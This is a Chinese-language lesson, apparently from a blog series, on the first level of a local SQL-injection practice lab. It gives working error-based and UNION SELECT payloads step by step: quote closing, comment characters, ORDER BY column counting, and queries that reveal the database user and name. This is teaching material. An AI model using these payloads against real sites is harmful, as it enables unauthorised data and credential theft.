从这一节开始,一个个关卡来学习sql注入
从最基础的sql语句开始
环境配置完成后,还有一个步骤需要做,要安装一下sqli数据库,环境配置那节课忘了说了,如果下图:
浏览器输入127.0.0.1后
需要下你点击第二行,进行sqli数据库安装
点击后出现下图,表示安装完成
返回127.0.0.1也没。选择第一行,开始闯关
一进入,界面会显示提示你输入参数ID
原url http://127.0.0.1/Less-1/
输入参数ID http://127.0.0.1/Less-1/?id=1
我们主要在这个url上进行测试
GET型注入,基于单引号
Id=1
Id=2
根据网页返回结果,初步判断sql语句为
Select * from table where ID = number (number是指我们输入的参数)
没有mysql语句基础的朋友,可以先去看一下相关基础知识,很容易理解的
但是,我们要的查询语句真的是这样吗?
我们加个单引号测试
url变成:http://127.0.0.1/Less-1/?id=1’
则页面报错如图:
我们来分析下报错语句
Near ‘’1’’ LIMIT0,1’ at line 1
其中1’使我们的输入
那么整个报错语句可看成是这样
Near ” 1’ ’ LIMIT 0,1’ at line 1
再拆分一下,最外层的单引号是错误提示加上去的,而中间那对才是sql语句里面的
即变成:
Near ’ ’ 1’ ’ LIMIT1,1’
所以我们在这里猜测的sql语句应该为
Select * from table where id = ‘number’
知道了sql语句,我们就好构造攻击代码
两种方法
一种是引号闭合
http://127.0.0.1/Less-1/?id=1’ and ’1’=’1
一种是添加注释符号
http://127.0.0.1/Less-1/?id=1’ --+ (也可用编码后的#,为 %23,作用都是为了把剩余的一个单引号注释掉)
既然有了攻击方法,那么
1 猜字字列数
1’ order by 1 --+ 返回正常
1’ order by 2 --+ 返回正常
1’ order by 3 --+ 返回正常
1’ order by 4 --+ 返回错误
说明列数为3
2 让sql 爆出用户名
1’and 1=2 union select 1,2,user()--+
整个语句的意思是:通过 and 1=2 让前面的查询结果永远等于空,那就只会查询出 union 后面的结果
3 爆出更多数据信息
1’ and 1=2 union select 1,2, concat(user(),0x3A,0x3A,database())--+
其中concat函数,是一个连接函数。主要是让数据库直接爆出多个参数
0x3A转化为 ASCII 为冒号,仅仅是为了把 user() 和 database()隔开,user()函数便是查询当前用户名,database()表示查询当前数据库名。
也可以一个一个查询,语句如下
1’ and 1=2 union select 1,2, database()--+
有了当前用户名,数据库名,就可以下一步深入,查询表名,列明,用户名和密码之类的
Root权限足够,还可以做其他操作。
因为涉及到其他sql语句,这里先不讲,怕有些朋友一下子消化不了,我们下一节课在讲。
我们为什么先去测试ID的参数改变,然后在测试 单引号。总的一点来说,我们是为了准确的判断sql的查询语句。知道了sql的查询语句,我们就能构造出让数据库爆出本不应该出现的内容。这样就达到了我们的目的
1、如过觉得文章帮助到了你,请帮忙手动转发,谢谢各位老铁支持
2、禁止使用该文章用于非法用途